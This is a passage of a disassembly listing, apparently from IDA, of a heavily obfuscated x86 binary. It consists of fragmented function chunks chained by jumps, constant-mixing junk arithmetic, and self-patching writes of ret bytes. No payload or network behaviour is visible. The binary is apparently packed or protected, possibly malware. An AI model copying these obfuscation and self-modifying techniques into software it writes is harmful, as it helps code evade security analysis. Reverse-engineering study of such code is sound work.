		mov	eax, 934299CDh
		push	eax
		jmp	loc_43DE9A
sub_440543	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_185. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_440558:				; CODE XREF: y22d6.y.:0044BD66j
		jnb	loc_444CD3

; =============== S U B	R O U T	I N E =======================================



sub_44055E	proc near		; CODE XREF: y22d6.y.:0044A9EDp
		xchg	ecx, [esp+0]
sub_44055E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_440561:				; CODE XREF: sub_448EB6+4Bj
		pop	ecx
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_444F6A
; END OF FUNCTION CHUNK	FOR sub_448EB6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_177. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C921

loc_44056E:				; CODE XREF: sub_44C921-2723j
		jmp	loc_440086
; END OF FUNCTION CHUNK	FOR sub_44C921
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443169

loc_440573:				; CODE XREF: sub_443169+16j
					; y22d6.y.:loc_4460E9j
		jmp	loc_445F5F
; END OF FUNCTION CHUNK	FOR sub_443169
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_440578:				; CODE XREF: sub_448EB6+228j
		jz	loc_438C43
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_44057E	proc near		; CODE XREF: sub_444131-4D41p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004385A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438BAA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A71C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A7BC SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043AD7E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043B060 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043B6CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C4A2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043D670 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0043D7BF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043DCEC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E95E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EB7C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EE3B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043F3D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F713 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044005E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00441599 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00441802 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442643 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442C87 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443100 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044310F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444036 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0044466F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00444EDE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445055 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00445746 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00445D13 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004472AA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447C85 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447CAF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00448721 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00448767 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00448D31 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449A3D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B584 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BF07 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044C5BF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044D252 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DAE2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044DC55 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044DD22 SIZE 0000000C BYTES

		xchg	ecx, [esp+0]

loc_440581:				; CODE XREF: y22d6.y.:00441BF3j
		pop	ecx
		pop	esi
		mov	[edi], eax
		pop	edi
		jmp	loc_445D13
sub_44057E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	ebp, 223D9977h
		jmp	loc_44AF83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44529A

loc_440596:				; CODE XREF: sub_44529A:loc_43F13Dj
					; y22d6.y.:0043F14Dj
		xor	ecx, 62A136DDh
		js	loc_449F03

loc_4405A2:				; CODE XREF: y22d6.y.:0043A689j
		jmp	loc_4435E7
; END OF FUNCTION CHUNK	FOR sub_44529A
; ---------------------------------------------------------------------------
		sbb	edx, 0B361EADEh
		xchg	ebp, ebx
		ror	ebx, 1Eh
		jmp	loc_43821A
; ---------------------------------------------------------------------------
		or	edi, ecx
		jmp	sub_445B15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C242

loc_4405BE:				; CODE XREF: sub_43C242+12189j
		popf
		cdq
		jmp	loc_440242
; END OF FUNCTION CHUNK	FOR sub_43C242
; ---------------------------------------------------------------------------

loc_4405C5:				; CODE XREF: y22d6.y.:0044C7ECj
		mov	esi, eax
		xchg	esi, [esp]
		push	offset loc_449171
		jmp	loc_442EDE
; ---------------------------------------------------------------------------

loc_4405D4:				; CODE XREF: y22d6.y.:loc_439BE2j
		jz	loc_43D8F4
		jmp	loc_44072D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449C1B

loc_4405DF:				; CODE XREF: sub_449C1B:loc_440BB0j
		jz	loc_449515
		jmp	loc_443DE6
; END OF FUNCTION CHUNK	FOR sub_449C1B
; ---------------------------------------------------------------------------
		push	esi
; START	OF FUNCTION CHUNK FOR sub_447D7F

loc_4405EB:				; CODE XREF: sub_447D7F:loc_443C2Fj
		push	0F9357B69h
		pop	esi
		xor	esi, 0CA9FD05Eh
		or	esi, 1384C988h
		jmp	loc_4457F6
; END OF FUNCTION CHUNK	FOR sub_447D7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C96

loc_440602:				; CODE XREF: sub_439C96-726j
		cmp	edx, esi
		jmp	loc_44737C
; END OF FUNCTION CHUNK	FOR sub_439C96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_440609:				; CODE XREF: sub_448EB6+290j
		pop	ecx
		or	ecx, 63F33156h
		add	ecx, 8E1B027Fh
		rol	ecx, 1Eh
		add	ecx, 5FFEFBC4h
		add	eax, ecx
		jmp	loc_439684
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_440626	proc near		; CODE XREF: sub_440ABC-54AFp
					; sub_448EB6+64j

; FUNCTION CHUNK AT 0043AB95 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EBE1 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00442404 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044BFDA SIZE 0000000C BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	edx, 0ADBDB0D1h
		mov	[edx], eax
		pop	edx
		jmp	loc_43AB95
sub_440626	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edx, 17B3C1CFh
		call	sub_44D293
		push	ebp
		mov	ebp, eax

loc_440645:				; CODE XREF: y22d6.y.:loc_43FD66j
		jmp	loc_44D562
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_44064A:				; CODE XREF: sub_44B17B+8j
		push	0B042C10Dh
		pop	edx
		or	edx, 20F6B533h
		add	edx, 0B11ED042h
		jmp	loc_4370F7
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_440661:				; CODE XREF: sub_44271A+78BAj
		mov	esi, eax
		xchg	esi, [esp+8+var_8]
		retn
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44439D

loc_440667:				; CODE XREF: sub_44439D-6A13j
		jmp	loc_443AF4
; END OF FUNCTION CHUNK	FOR sub_44439D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44066C	proc near		; CODE XREF: sub_44DA98-52EDp

; FUNCTION CHUNK AT 0043738E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043A6FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004412D2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444939 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 004470DC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00447C90 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044A4F8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044AFDB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B75B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044C57D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CB59 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_43A6FD
sub_44066C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_440677:				; CODE XREF: y22d6.y.:0043D04Aj
					; y22d6.y.:loc_444FC7j
		add	esi, 0C4E9E500h
		mov	[esi], eax
		pop	esi
		lea	eax, sub_446425
		jmp	loc_449278
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F5A

loc_44068B:				; CODE XREF: sub_439F5A+B94Dj
		add	ebx, 1B6D949Ch
		mov	ebx, [ebx]
		add	eax, ebx
		pop	ebx
		pushf
		jmp	loc_43ADC8
; END OF FUNCTION CHUNK	FOR sub_439F5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4449FA

loc_44069C:				; CODE XREF: sub_4449FA+A5Dj
		sub	esi, 21163DA4h
		xor	esi, 0AD425981h
		add	esi, 0A8ADFCECh
		xchg	esi, [esp+4+var_4]
		jmp	loc_44394A
; END OF FUNCTION CHUNK	FOR sub_4449FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4406B6:				; CODE XREF: sub_448EB6+46j
		jz	loc_446569
		jmp	loc_43A2E1
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_4406C1:				; CODE XREF: y22d6.y.:loc_43FABCj
		and	eax, 60DDE40Dh
		xor	eax, 1225E745h
		call	sub_43CA1A
		mov	ds:dword_41E178, eax
		lea	eax, nullsub_360
		mov	byte ptr [eax],	0C3h
		jmp	loc_445F08
; ---------------------------------------------------------------------------

loc_4406E6:				; CODE XREF: y22d6.y.:0043DF87j
		mov	eax, [esp]
		jmp	loc_43F7BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4406EE:				; CODE XREF: sub_4432B8:loc_43782Ej
		push	esi
		mov	esi, eax
		xchg	esi, [esp+4+var_4]
		mov	eax, edx
		call	sub_440F6A
		push	offset loc_43760F
		jmp	nullsub_310
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_440705:				; CODE XREF: y22d6.y.:0043F0BAj
		mov	[esi], eax
		push	offset loc_43D812
		jmp	locret_4419FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_440711:				; CODE XREF: sub_4475B3:loc_4450E7j
		test	ecx, 8000h
		jmp	loc_43BC3D
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_44071C:				; CODE XREF: y22d6.y.:00437FCCj
					; sub_43B09B:loc_43EAA4j
		add	eax, 0E46AFF9Dh
		cmp	eax, 0BC9C8D15h
		jmp	loc_44AC3D
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------

loc_44072D:				; CODE XREF: y22d6.y.:004405DAj
		mov	esi, eax
		add	esi, ebp
		jno	loc_43702A
		cdq
		add	edx, esi
		jmp	loc_43D8F4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_220. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_440740:				; CODE XREF: y22d6.y.:0044A1BCj
		jmp	loc_443B3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441191

loc_440745:				; CODE XREF: sub_441191+28B3j
		jmp	loc_43B49F
; END OF FUNCTION CHUNK	FOR sub_441191
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4391EE

loc_44074A:				; CODE XREF: sub_4391EE+Aj
		jmp	sub_4396B2
; END OF FUNCTION CHUNK	FOR sub_4391EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441E1E

loc_44074F:				; CODE XREF: sub_441E1E-8B35j
		push	0FFFFFFFFh
		push	eax
		push	esi
; END OF FUNCTION CHUNK	FOR sub_441E1E
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_440753:				; CODE XREF: sub_44B1D2:loc_43BDAAj
		mov	esi, ebx
		xchg	esi, [esp+0]
		push	3601F606h
		pop	ebx
		jmp	loc_44A6BA
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_440763:				; CODE XREF: sub_44633F:loc_443B68j
		add	esi, 0BF7FF571h
		xchg	esi, [esp-4+arg_0]
		jmp	loc_43DDE2
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
		mov	eax, 0D59435E2h
		push	ecx

loc_440777:				; CODE XREF: y22d6.y.:loc_43D92Bj
		push	3054A860h
		jmp	loc_445216
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44439D

loc_440781:				; CODE XREF: sub_44439D+20DFj
		ror	eax, 8

loc_440784:				; CODE XREF: sub_44AEDA:loc_44B3A4j
		push	offset sub_43ECDD
		jmp	nullsub_89
; END OF FUNCTION CHUNK	FOR sub_44439D
; ---------------------------------------------------------------------------
		jnz	loc_43E964
		jmp	loc_449294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_440799:				; CODE XREF: sub_448EB6+D55j
		jno	loc_43ADFF
		mov	edx, [ebp+0]
		jmp	loc_443282
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		mov	ebx, ebp
		jmp	loc_438B60

; =============== S U B	R O U T	I N E =======================================



sub_4407AE	proc near		; CODE XREF: y22d6.y.:00443E51j
					; y22d6.y.:00445C31p
		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_43CA1A
		mov	ds:off_41E14C, eax
		lea	eax, loc_440320
		mov	byte ptr [eax],	0C3h
		jmp	loc_440320
sub_4407AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443778

loc_4407CB:				; CODE XREF: sub_443778:loc_440320j
		pop	edx
		push	offset loc_437F91
		jmp	loc_44A334
; END OF FUNCTION CHUNK	FOR sub_443778
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4407D7:				; CODE XREF: sub_448EB6-B86Aj
		jmp	nullsub_222
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F750

loc_4407DC:				; CODE XREF: sub_43F750+4E91j
		jl	loc_44CFE8

loc_4407E2:				; CODE XREF: sub_43F750:loc_44B61Ej
		push	6CA3B9A1h
		pop	eax
		rol	eax, 1Eh
		call	sub_440D9E
; END OF FUNCTION CHUNK	FOR sub_43F750
; START	OF FUNCTION CHUNK FOR sub_444541

loc_4407F0:				; CODE XREF: sub_444541+9j
		jmp	loc_437D1A
; END OF FUNCTION CHUNK	FOR sub_444541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44123E

loc_4407F5:				; CODE XREF: sub_44123E:loc_4484C6j
		sbb	eax, 100B2CEFh

loc_4407FB:				; CODE XREF: y22d6.y.:0044D384j
		pushf
		sub	edx, ebx
		jl	loc_441582
		jmp	loc_437708
; END OF FUNCTION CHUNK	FOR sub_44123E
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D460

loc_44080F:				; CODE XREF: sub_44D460+9j
		mov	eax, 20413B0Fh
		push	ebx
		push	0A63A7AE7h
		pop	ebx
		or	ebx, 765E4D79h
		add	ebx, 9C596ADh
		jmp	loc_43E0EE
; END OF FUNCTION CHUNK	FOR sub_44D460
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C48C

loc_44082C:				; CODE XREF: sub_44C48C+17j
		xor	edx, 1EC49457h
		add	ecx, edx
		push	offset sub_43FAC6
		jmp	loc_44B262
; END OF FUNCTION CHUNK	FOR sub_44C48C
; ---------------------------------------------------------------------------

loc_44083E:				; CODE XREF: y22d6.y.:0043D162j
		cmp	esi, 799E9602h
		jmp	loc_43C0C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC1C

loc_440849:				; CODE XREF: sub_43EC1C:loc_449B96j
		sbb	ecx, eax
		jmp	loc_441C2C
; END OF FUNCTION CHUNK	FOR sub_43EC1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_440850:				; CODE XREF: sub_4432B8:loc_44B96Bj
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_43B224
		jmp	loc_4458AC
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_440861:				; CODE XREF: y22d6.y.:loc_4458F8j
		rol	ebx, 1Fh
		xor	ebx, 0FBE8A55Ch
		rol	ebx, 19h
		add	ebx, 0B22DB3F4h
		xchg	ebx, [esp]
		jmp	loc_449FF2
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		jmp	loc_43E673
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B674

loc_440882:				; CODE XREF: sub_44B674:loc_44B57Aj
		xchg	esi, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jmp	loc_449683
; END OF FUNCTION CHUNK	FOR sub_44B674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65F

loc_440895:				; CODE XREF: sub_43C65F+1979j
		xor	esi, ecx
		and	eax, ecx

loc_440899:				; CODE XREF: sub_441F08-5CAAj
					; sub_43C65F+7j ...
		jmp	loc_43ED3A
; ---------------------------------------------------------------------------

loc_44089E:				; CODE XREF: sub_43C65F:loc_43CD84j
					; y22d6.y.:loc_43D7A5j	...
		pop	ecx
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_44A466
; END OF FUNCTION CHUNK	FOR sub_43C65F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_4408A7:				; CODE XREF: sub_43FFE2:loc_43BAD1j
		jnz	loc_43E7E3
		jmp	loc_43BCF7
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44156E

loc_4408B2:				; CODE XREF: sub_44156E+B162j
		jz	loc_44D219
		jmp	loc_440B73
; END OF FUNCTION CHUNK	FOR sub_44156E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_4408BD:				; CODE XREF: sub_4475B3:loc_44A63Bj
		pop	esi
		xor	esi, 68FFD41Ch
		cmp	esi, 3B30930Eh
		jmp	loc_4391C1
; END OF FUNCTION CHUNK	FOR sub_4475B3

; =============== S U B	R O U T	I N E =======================================



sub_4408CF	proc near		; CODE XREF: y22d6.y.:00441397j
					; sub_43B98D+10AE5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00439832 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044932D SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	edi, [esp-4+arg_0]
		mov	ebx, edi
		pop	edi
		jmp	loc_44932D
sub_4408CF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A22A

loc_4408DE:				; CODE XREF: sub_44A22A+1Cj
		pushf
		call	sub_442978

locret_4408E4:				; CODE XREF: sub_438B66:loc_442568j
		retn
; END OF FUNCTION CHUNK	FOR sub_44A22A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_4408E5:				; CODE XREF: sub_4385ED+1345Aj
		jmp	loc_4400B9
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_4408EA:				; CODE XREF: sub_43A6E1+A08j
		jmp	loc_43BE8A
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A148

loc_4408EF:				; CODE XREF: sub_43A148:loc_44E637j
		mov	eax, [esp+0]
; END OF FUNCTION CHUNK	FOR sub_43A148

; =============== S U B	R O U T	I N E =======================================



sub_4408F2	proc near		; CODE XREF: sub_4432B8:loc_440C91j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043961D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044E3FE SIZE 00000014 BYTES

		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+4+var_4]
		push	eax
		mov	eax, ebx
		xchg	eax, [esp+8+var_8]
		push	4EEB75D6h
		jmp	loc_44E3FE
sub_4408F2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44374A

loc_440908:				; CODE XREF: sub_44374A:loc_440178j
		jz	loc_4424BF
		jmp	loc_4375CC
; END OF FUNCTION CHUNK	FOR sub_44374A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_440913:				; CODE XREF: sub_44A359-B201j
		jz	loc_43E2F2
		jmp	loc_44600D
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D3B1

loc_44091E:				; CODE XREF: sub_44D3B1-2632j
		push	0BCFF1D0Bh
		pop	edi
		and	edi, 7EBF4234h

loc_44092A:				; CODE XREF: y22d6.y.:loc_44CAA2j
		push	offset loc_44A037
		jmp	nullsub_246
; END OF FUNCTION CHUNK	FOR sub_44D3B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44571D

loc_440934:				; CODE XREF: sub_44571D-598Ej
		test	ebp, ecx
		jmp	loc_44A0DF
; END OF FUNCTION CHUNK	FOR sub_44571D
; ---------------------------------------------------------------------------

loc_44093B:				; CODE XREF: y22d6.y.:00438A45j
		jnb	loc_43FB00
		and	edi, ecx

; =============== S U B	R O U T	I N E =======================================



sub_440943	proc near		; CODE XREF: y22d6.y.:0043A4CBp

; FUNCTION CHUNK AT 0043DF9B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00448A35 SIZE 00000024 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	0A673526h
		jmp	loc_448A35
sub_440943	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_440951:				; CODE XREF: y22d6.y.:00445D04j
		rol	eax, 1Ah
		push	0D5846393h
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_440959:				; CODE XREF: sub_4450FD+BF8j
		rol	eax, 0Fh
		and	eax, 5ECDB07Fh
		add	eax, 30F97EF4h
		jmp	loc_438A7C
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------

loc_44096D:				; CODE XREF: y22d6.y.:loc_43AD09j
		jz	loc_4417DF
		jmp	loc_440FCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444871

loc_440978:				; CODE XREF: sub_444871+2CE9j
		pop	eax
		add	eax, 0E466D56Bh
		rol	eax, 0Fh
		call	sub_43979A

loc_440987:				; CODE XREF: y22d6.y.:00448287j
		xor	eax, 99120376h
		push	ebx
		pushf
		push	8534DB8Dh
		jmp	loc_44B4C1
; END OF FUNCTION CHUNK	FOR sub_444871
; ---------------------------------------------------------------------------

loc_440999:				; CODE XREF: y22d6.y.:00439279j
		js	loc_448941

loc_44099F:				; CODE XREF: y22d6.y.:loc_43926Aj
		and	edx, ds:4000E1h
; START	OF FUNCTION CHUNK FOR sub_43A9C6

loc_4409A5:				; CODE XREF: sub_43A9C6:loc_437708j
		add	edx, 2795FCD9h
		popf
		call	sub_43C39B

loc_4409B1:				; CODE XREF: sub_43BF98:loc_44A5E0j
		xor	ecx, 0BC38983Ch
		rol	ecx, 1

loc_4409B9:				; CODE XREF: sub_43BEF7:loc_44ADD3j
		call	sub_442E7D

loc_4409BE:				; CODE XREF: sub_437913+7419j
		jmp	loc_43DDBB
; END OF FUNCTION CHUNK	FOR sub_43A9C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C59C

loc_4409C3:				; CODE XREF: sub_44C59C:loc_43E32Ej
		push	eax
		pushf
		push	4EE50377h
		pop	eax
		jmp	loc_43E804
; END OF FUNCTION CHUNK	FOR sub_44C59C
; ---------------------------------------------------------------------------

loc_4409D0:				; CODE XREF: y22d6.y.:loc_43A12Aj
		jz	loc_440F9A
		jmp	loc_43DF80
; ---------------------------------------------------------------------------
		xchg	ebp, edx
		jmp	sub_44CBBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E3BD

loc_4409E2:				; CODE XREF: sub_43E3BD:loc_43BE24j
		xchg	eax, [esp+0]
		push	232E611Eh
		xchg	ebp, [esp+4+var_4]
		mov	edx, ebp
		jmp	loc_444313
; END OF FUNCTION CHUNK	FOR sub_43E3BD

; =============== S U B	R O U T	I N E =======================================



sub_4409F4	proc near		; CODE XREF: sub_44E63C-E78Cp
					; y22d6.y.:00446E69j

; FUNCTION CHUNK AT 0043902E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A10E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043AE59 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B0C0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C366 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043F415 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004413A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004421A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443C58 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004495CD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044DF2E SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [eax]

loc_4409FA:				; CODE XREF: sub_43B878:loc_4425DBj
		push	eax
		jmp	loc_43B0C0
sub_4409F4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_440A00:				; CODE XREF: y22d6.y.:0044D1D7j
		and	ebx, 9D6FA34Ch
; START	OF FUNCTION CHUNK FOR sub_44997F

loc_440A06:				; CODE XREF: sub_44997F+384Cj
		add	ebx, 4C6E4607h
		mov	[ebx], eax
		pop	ebx
		lea	eax, sub_43A9C6
		mov	byte ptr [eax],	0C3h
		jmp	sub_43A9C6
; END OF FUNCTION CHUNK	FOR sub_44997F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_440A1D:				; CODE XREF: sub_44B17B-2D9Dj
		jg	loc_443675
		jle	loc_43BDE7
		js	loc_44B7D2

loc_440A2F:				; CODE XREF: sub_44B17B:loc_43E637j
		mov	eax, [ebp+var_4]

loc_440A32:				; CODE XREF: sub_43E185:loc_439DD9j
		jmp	loc_43F399
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
		adc	ebp, 0B6E3970h
		jmp	loc_43DD3F
; ---------------------------------------------------------------------------

loc_440A42:				; CODE XREF: y22d6.y.:00439370j
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_440A43:				; CODE XREF: sub_44B17B-D98Bj
		and	ebx, 2390C188h
		test	ebx, 8000000h
		jmp	loc_43914E
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
		mov	ebp, [eax]
		jmp	loc_43C125
; ---------------------------------------------------------------------------
		jmp	ds:off_41E204
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_440A61:				; CODE XREF: sub_437B43+B31Ej
		jmp	loc_44E019
